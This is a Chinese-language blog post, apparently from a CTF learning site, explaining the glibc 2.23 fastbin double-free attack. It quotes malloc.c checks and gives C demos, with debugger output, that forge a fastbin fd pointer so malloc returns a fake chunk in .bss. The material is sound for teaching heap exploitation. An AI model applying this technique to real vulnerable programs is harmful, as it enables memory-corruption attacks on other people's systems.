Fastbin-Attack

August 9, 2019 PWN 访问: 24 次

fastbin介绍

默认有10个fast bin,每个bin是由一个单项链表来维护的,采用的是LIFO方式。在fastbin中的chunk被释放后物理地址的下一个chunk的pre_inuse不会被清0。fastbin在free的时候只验证了main_arena(fast bin的链表头部的chunk),并没有验证链表后面的chunk
glibc-2.23/malloc/malloc.c:3931

do
      {
    /* Check that the top of the bin is not the record we are going to add
       (i.e., double free).  */
    if (__builtin_expect (old == p, 0))
      {
        errstr = "double free or corruption (fasttop)";
        goto errout;
      }
    /* Check that size of fastbin chunk at the top is the same as
       size of the chunk that we are adding.  We can dereference OLD
       only if we have the lock, otherwise it might have already been
       deallocated.  See use of OLD_IDX below for the actual check.  */
    if (have_lock && old != NULL)
      old_idx = fastbin_index(chunksize(old));
    p->fd = old2 = old;
      }
    while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);

demo:

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main()
{
    char *heap_1,*heap_2;
    heap_1 = malloc(0x30);
    heap_2 = malloc(0x30);
    free(heap_1);
    free(heap_2);
    free(heap_1);
    return 0;
}

当执行到return时,查看fastbin中的情况:

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x602000 —▸ 0x602040 ◂— 0x602000
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

发现第一次释放heap_1和第二次heap_1都被添加到了fastbin中,那么我们再次分配三个0x30的chunk时,就会有两个指针指向同一个chunk
验证一下

#include<stdio.h>
#include<stdlib.h>
int main(void)
{
    void *chunk1,*chunk2,*chunk3,*chunk4,*chunk5;
    chunk1 = malloc(0x10);
    chunk2 = malloc(0x10);
    printf("chunk1 addr:%p\n",chunk1);
    printf("chunk2 addr:%p\n",chunk2);
    free(chunk1);
    free(chunk2);
    free(chunk1);
    printf("------------------------------\n");
    chunk3 = malloc(0x10);
    chunk4 = malloc(0x10);
    chunk5 = malloc(0x10);
    printf("chunk3 addr:%p\n",chunk3);
    printf("chunk4 addr:%p\n",chunk4);
    printf("chunk5 addr:%p\n",chunk5);
    return 0;
}

输出如下:

一筐萝卜➜  ./test
chunk1 addr:0x1c48010
chunk2 addr:0x1c48030
------------------------------
chunk3 addr:0x1c48010
chunk4 addr:0x1c48030
chunk5 addr:0x1c48010

从数据来看:

pwndbg> bins
fastbins
0x20: 0x602000 —▸ 0x602020 ◂— 0x602000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> p *(struct malloc_chunk *)0x602000
$1 = {
  prev_size = 0,
  size = 33,
  fd = 0x602020,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x21
}
pwndbg> p *(struct malloc_chunk *)0x602020
$2 = {
  prev_size = 0,
  size = 33,
  fd = 0x602000,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x411
}

在0x10fastbin的链表头部是0x602000,fd指针指向的是0x602020,第二次分配给的就是0x602020,那么我们可以伪造一个fd指针,然后再分配的话就会分配到我们伪造的地址上面
经过测试后发现,我们伪造的地址上必须存在chunk结构体size字段,并且要符合当前fastbin的大小,才能分配出去
/glibc-2.23/malloc/malloc.c:3381

if (victim != 0)
        {
          if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
            {
              errstr = "malloc(): memory corruption (fast)";
            errout:
              malloc_printerr (check_action, errstr, chunk2mem (victim), av);
              return NULL;
            }
          check_remalloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }

demo:

#include<stdio.h>
#include<stdlib.h>
typedef struct fake_chunk{
    char *prev_seze;
    char *size;
    char *fd;
    char *bk;
} chunk;
chunk bss_chunk;
int main(void)
{
    void *chunk1,*chunk2,*chunk3,*chunk4,*chunk5,*chunk6;
    printf("bss_chunk addr :%p\n",&bss_chunk);
    bss_chunk.size = 0x21;//0x20
    chunk1 = malloc(0x10);
    chunk2 = malloc(0x10);
    printf("chunk1 addr:%p\n",chunk1);
    printf("chunk2 addr:%p\n",chunk2);
    free(chunk1);
    free(chunk2);
    free(chunk1);
    printf("-------------------------------\n");
    chunk3 = malloc(0x10);
    *(long long *)chunk3=&bss_chunk;
    chunk4 = malloc(0x10);
    chunk5 = malloc(0x10);
    chunk6 = malloc(0x10);
    printf("chunk3 addr:%p\n",chunk3);
    printf("chunk4 addr:%p\n",chunk4);
    printf("chunk5 addr:%p\n",chunk5);
    printf("chunk6 addr:%p\n",chunk6);
    return 0;
}
/*
out:
一筐萝卜➜ xman  ./test
bss_chunk addr :0x601080
chunk1 addr:0x1bc2420
chunk2 addr:0x1bc2440
-------------------------------
chunk3 addr:0x1bc2420
chunk4 addr:0x1bc2440
chunk5 addr:0x1bc2420
chunk6 addr:0x601090
*/

可以看到,我们伪造再bss段上的chunk成功的被分配出去
这个过程用专业术语叫做fastbin double free.

添加新评论